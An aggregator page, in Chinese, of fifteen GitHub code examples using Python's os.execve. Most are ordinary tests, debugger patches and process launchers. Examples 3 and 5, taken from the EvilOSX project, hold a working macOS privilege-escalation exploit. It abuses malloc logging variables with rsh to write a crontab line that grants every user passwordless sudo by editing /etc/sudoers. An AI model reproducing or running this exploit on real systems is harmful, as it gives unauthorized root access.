當前位置: 首頁>>代碼示例>>Python>>正文


Python os.execve方法代碼示例

本文整理匯總了Python中os.execve方法的典型用法代碼示例。如果您正苦於以下問題:Python os.execve方法的具體用法?Python os.execve怎麽用?Python os.execve使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在os的用法示例。


在下文中一共展示了os.execve方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: test_execve_invalid_env

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def test_execve_invalid_env(self):
        args = [sys.executable, '-c', 'pass']

        # null character in the enviroment variable name
        newenv = os.environ.copy()
        newenv["FRUIT\0VEGETABLE"] = "cabbage"
        with self.assertRaises(TypeError):
            os.execve(args[0], args, newenv)

        # null character in the enviroment variable value
        newenv = os.environ.copy()
        newenv["FRUIT"] = "orange\0VEGETABLE=cabbage"
        with self.assertRaises(TypeError):
            os.execve(args[0], args, newenv)

        # equal character in the enviroment variable name
        newenv = os.environ.copy()
        newenv["FRUIT=ORANGE"] = "lemon"
        with self.assertRaises(ValueError):
            os.execve(args[0], args, newenv) 
開發者ID:IronLanguages,項目名稱:ironpython2,代碼行數:22,代碼來源:test_os.py

示例2: test_execve_invalid_env

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def test_execve_invalid_env(self):
        args = [sys.executable, '-c', 'pass']

        # null character in the enviroment variable name
        newenv = os.environ.copy()
        newenv["FRUIT\0VEGETABLE"] = "cabbage"
        with self.assertRaises(ValueError):
            os.execve(args[0], args, newenv)

        # null character in the enviroment variable value
        newenv = os.environ.copy()
        newenv["FRUIT"] = "orange\0VEGETABLE=cabbage"
        with self.assertRaises(ValueError):
            os.execve(args[0], args, newenv)

        # equal character in the enviroment variable name
        newenv = os.environ.copy()
        newenv["FRUIT=ORANGE"] = "lemon"
        with self.assertRaises(ValueError):
            os.execve(args[0], args, newenv) 
開發者ID:ShikyoKira,項目名稱:Project-New-Reign---Nemesis-Main,代碼行數:22,代碼來源:test_os.py

示例3: run

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def run(options):
    print("Creating /etc/crontab...")

    p = os.fork()
    if p == 0:
        os.close(1)
        os.close(2)
        os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)

    time.sleep(1)

    if "NOPASSWD" not in open("/etc/crontab").read():
        print("Exploit failed.")
    else:
        print("Done, waiting for /etc/sudoers to update...")

        while os.stat("/etc/sudoers").st_size == old_size:
            time.sleep(1)

        print("Exploit completed, you can now execute commands as sudo.")
        subprocess.call("sudo rm -rf /etc/crontab", shell=True) 
開發者ID:Marten4n6,項目名稱:EvilOSX,代碼行數:23,代碼來源:CVE-2015-5889.py

示例4: testTagHandlerDoesNotExist

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def testTagHandlerDoesNotExist(self):
        myRecipe = recipes.multiTagRecipe0
        myRecipe += '        r.ComponentSpec(":tag", "%(taghandlerdir)s/")\n'
        multitag = self.build(myRecipe, "MultiTag", returnTrove='multitag')
        self.updatePkg('multitag:runtime')
        fooFile = rephelp.RegularFile(
                                contents = 'foo\n',
                                perms = 0644, tags = [ 'foo' ] )
        self.addComponent('foo:runtime', [('/bam', fooFile)])
        oldFuncs = (os.getuid, os.lchown, os.chroot)

        self.mock(os, "getuid", lambda : 0)
        self.mock(os, "lchown", lambda x, y, z : None)
        self.mock(os, "chroot", lambda x :None)
        # this fixes a race between new tag handler process exiting and
        # writing files into the pipe for that tag handler; we let the
        # write finish before the handler process terminates
        origExec = os.execve
        self.mock(os, "execve", lambda *args : (time.sleep(0.1),
                                                origExec(*args)))

        rc, txt = self.captureOutput(self.updatePkg, 'foo:runtime',
                                     _removeBokenPipeErrors=True)

        self.assertEquals(txt.lstrip(), '[foo] [Errno 2] No such file or directory\nerror: /usr/libexec/conary/tags/foo failed\n') 
開發者ID:sassoftware,項目名稱:conary,代碼行數:27,代碼來源:tagtest.py

示例5: get_root

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def get_root():
    env = {}
    old_size = os.stat("/etc/sudoers").st_size

    env['MallocLogFile'] = '/etc/crontab'
    env['MallocStackLogging'] = 'yes'
    env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'

    print "Creating /etc/crontab..."

    p = os.fork()
    if p == 0:
        os.close(1)
        os.close(2)
        os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)

    time.sleep(1)

    if "NOPASSWD" not in open("/etc/crontab").read():
        print "FAILED!"
        exit(-1)

    print "Done, waiting for /etc/sudoers to update..."

    while os.stat("/etc/sudoers").st_size == old_size:
        time.sleep(1)

    print "Exploit completed."
    os.system("sudo rm -rf /etc/crontab")
    exit() 
開發者ID:cys3c,項目名稱:EvilOSX,代碼行數:32,代碼來源:LPE_10-10-5.py

示例6: rustcli

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def rustcli() -> NoReturn:
    thisdir = pathlib.Path(__file__).parent
    os.execve(str(thisdir / 'edgedb'), sys.argv, os.environ)


# Import subcommands to register them 
開發者ID:edgedb,項目名稱:edgedb,代碼行數:8,代碼來源:__init__.py

示例7: _spawn_posix

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def _spawn_posix(cmd, search_path=1, verbose=0, dry_run=0):
    log.info(' '.join(cmd))
    if dry_run:
        return
    exec_fn = search_path and os.execvp or os.execv
    exec_args = [cmd[0], cmd]
    if sys.platform == 'darwin':
        global _cfg_target, _cfg_target_split
        if _cfg_target is None:
            _cfg_target = sysconfig.get_config_var(
                                  'MACOSX_DEPLOYMENT_TARGET') or ''
            if _cfg_target:
                _cfg_target_split = [int(x) for x in _cfg_target.split('.')]
        if _cfg_target:
            # ensure that the deployment target of build process is not less
            # than that used when the interpreter was built. This ensures
            # extension modules are built with correct compatibility values
            cur_target = os.environ.get('MACOSX_DEPLOYMENT_TARGET', _cfg_target)
            if _cfg_target_split > [int(x) for x in cur_target.split('.')]:
                my_msg = ('$MACOSX_DEPLOYMENT_TARGET mismatch: '
                          'now "%s" but "%s" during configure'
                                % (cur_target, _cfg_target))
                raise DistutilsPlatformError(my_msg)
            env = dict(os.environ,
                       MACOSX_DEPLOYMENT_TARGET=cur_target)
            exec_fn = search_path and os.execvpe or os.execve
            exec_args.append(env)
    pid = os.fork()

    if pid == 0:  # in the child
        try:
            exec_fn(*exec_args)
        except OSError, e:
            sys.stderr.write("unable to execute %s: %s\n" %
                             (cmd[0], e.strerror))
            os._exit(1)

        sys.stderr.write("unable to execute %s for unknown reasons" % cmd[0])
        os._exit(1) 
開發者ID:dxwu,項目名稱:BinderFilter,代碼行數:41,代碼來源:spawn.py

示例8: create_execve

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def create_execve(original_name):
    """
    os.execve(path, args, env)
    os.execvpe(file, args, env)
    """

    def new_execve(path, args, env):
        if _get_apply_arg_patching():
            args = patch_args(args, is_exec=True)
            send_process_created_message()

        return getattr(os, original_name)(path, args, env)

    return new_execve 
開發者ID:fabioz,項目名稱:PyDev.Debugger,代碼行數:16,代碼來源:pydev_monkey.py

示例9: patch_new_process_functions_with_warning

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def patch_new_process_functions_with_warning():
    monkey_patch_os('execl', create_warn_multiproc)
    monkey_patch_os('execle', create_warn_multiproc)
    monkey_patch_os('execlp', create_warn_multiproc)
    monkey_patch_os('execlpe', create_warn_multiproc)
    monkey_patch_os('execv', create_warn_multiproc)
    monkey_patch_os('execve', create_warn_multiproc)
    monkey_patch_os('execvp', create_warn_multiproc)
    monkey_patch_os('execvpe', create_warn_multiproc)
    monkey_patch_os('spawnl', create_warn_multiproc)
    monkey_patch_os('spawnle', create_warn_multiproc)
    monkey_patch_os('spawnlp', create_warn_multiproc)
    monkey_patch_os('spawnlpe', create_warn_multiproc)
    monkey_patch_os('spawnv', create_warn_multiproc)
    monkey_patch_os('spawnve', create_warn_multiproc)
    monkey_patch_os('spawnvp', create_warn_multiproc)
    monkey_patch_os('spawnvpe', create_warn_multiproc)
    monkey_patch_os('posix_spawn', create_warn_multiproc)

    if not IS_JYTHON:
        if not IS_WINDOWS:
            monkey_patch_os('fork', create_warn_multiproc)
            try:
                import _posixsubprocess
                monkey_patch_module(_posixsubprocess, 'fork_exec', create_warn_fork_exec)
            except ImportError:
                pass
        else:
            # Windows
            try:
                import _subprocess
            except ImportError:
                import _winapi as _subprocess
            monkey_patch_module(_subprocess, 'CreateProcess', create_CreateProcessWarnMultiproc) 
開發者ID:fabioz,項目名稱:PyDev.Debugger,代碼行數:36,代碼來源:pydev_monkey.py

示例10: execve_from

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def execve_from(self, conf, cmd, env):
        """ this code is commonly run in a child process // returns exit-code"""
        runs = conf.get("Service", "Type", "simple").lower()
        logg.debug("%s process for %s", runs, conf.filename())
        inp = open("/dev/zero")
        out = self.open_journal_log(conf)
        os.dup2(inp.fileno(), sys.stdin.fileno())
        os.dup2(out.fileno(), sys.stdout.fileno())
        os.dup2(out.fileno(), sys.stderr.fileno())
        runuser = self.expand_special(conf.get("Service", "User", ""), conf)
        rungroup = self.expand_special(conf.get("Service", "Group", ""), conf)
        envs = shutil_setuid(runuser, rungroup)
        badpath = self.chdir_workingdir(conf) # some dirs need setuid before
        if badpath:
            logg.error("(%s): bad workingdir: '%s'", shell_cmd(cmd), badpath)
            sys.exit(1)
        env = self.extend_exec_env(env)
        env.update(envs) # set $HOME to ~$USER
        try:
            if "spawn" in COVERAGE:
                os.spawnvpe(os.P_WAIT, cmd[0], cmd, env)
                sys.exit(0)
            else: # pragma: nocover
                os.execve(cmd[0], cmd, env)
        except Exception as e:
            logg.error("(%s): %s", shell_cmd(cmd), e)
            sys.exit(1) 
開發者ID:vanilla,項目名稱:vanilla-docker,代碼行數:29,代碼來源:systemctl3.py

示例11: _lint

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def _lint(self):
        env = os.environ.copy()
        env['PYTHONPATH'] = os.path.realpath(os.path.join(
                os.path.abspath(__file__), '../..'))
        pylint = '/usr/opt/bs-python-2.7/bin/pylint'
        if not os.path.exists(pylint):
            pylint = "pylint"
        cmd = [pylint,
                '--rcfile=%s' % os.path.realpath(
                        os.path.join(os.path.abspath(__file__), '../../pylintrc')),
                sys.argv[0]]
        if os.isatty(sys.stdout.fileno()):
            cmd.append('--output-format=colorized')
        os.execve(cmd[0], cmd, env) 
開發者ID:exasol,項目名稱:script-languages,代碼行數:16,代碼來源:__init__.py

示例12: _execvpe_mockup

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def _execvpe_mockup(defpath=None):
    """
    Stubs out execv and execve functions when used as context manager.
    Records exec calls. The mock execv and execve functions always raise an
    exception as they would normally never return.
    """
    # A list of tuples containing (function name, first arg, args)
    # of calls to execv or execve that have been made.
    calls = []

    def mock_execv(name, *args):
        calls.append(('execv', name, args))
        raise RuntimeError("execv called")

    def mock_execve(name, *args):
        calls.append(('execve', name, args))
        raise OSError(errno.ENOTDIR, "execve called")

    try:
        orig_execv = os.execv
        orig_execve = os.execve
        orig_defpath = os.defpath
        os.execv = mock_execv
        os.execve = mock_execve
        if defpath is not None:
            os.defpath = defpath
        yield calls
    finally:
        os.execv = orig_execv
        os.execve = orig_execve
        os.defpath = orig_defpath 
開發者ID:Microvellum,項目名稱:Fluid-Designer,代碼行數:33,代碼來源:test_os.py

示例13: mark

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def mark(self):
        marks = []
        for (_ignore_process, protocol) in self.dtraces.itervalues():
            marks.append(protocol.mark())
        d = gatherResults(marks)
        d.addCallback(lambda ign: self.stats())
        try:
            os.execve(
                "CalendarServer dtrace benchmarking signal", [], {})
        except OSError:
            pass
        return d 
開發者ID:apple,項目名稱:ccs-calendarserver,代碼行數:14,代碼來源:benchmark.py

示例14: fork_exec

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def fork_exec(cmd, keep_fds, env=None):

    # copy the environment variables to set in the child process
    env = {} if env is None else env
    child_env = os.environ.copy()
    child_env.update(env)

    pid = os.fork()
    if pid == 0:  # pragma: no cover
        close_fds(keep_fds)
        os.execve(sys.executable, cmd, child_env)
    else:
        return pid 
開發者ID:joblib,項目名稱:loky,代碼行數:15,代碼來源:fork_exec.py

示例15: with_path_overlay

# 需要導入模塊: import os [as 別名]
# 或者: from os import execve [as 別名]
def with_path_overlay(target, params):
    """
    Overlay Python with target on the path and params
    """
    cmd = [sys.executable] + params
    os.execve(sys.executable, cmd, _setup_env(target)) 
開發者ID:jaraco,項目名稱:pip-run,代碼行數:8,代碼來源:launch.py


注:本文中的os.execve方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。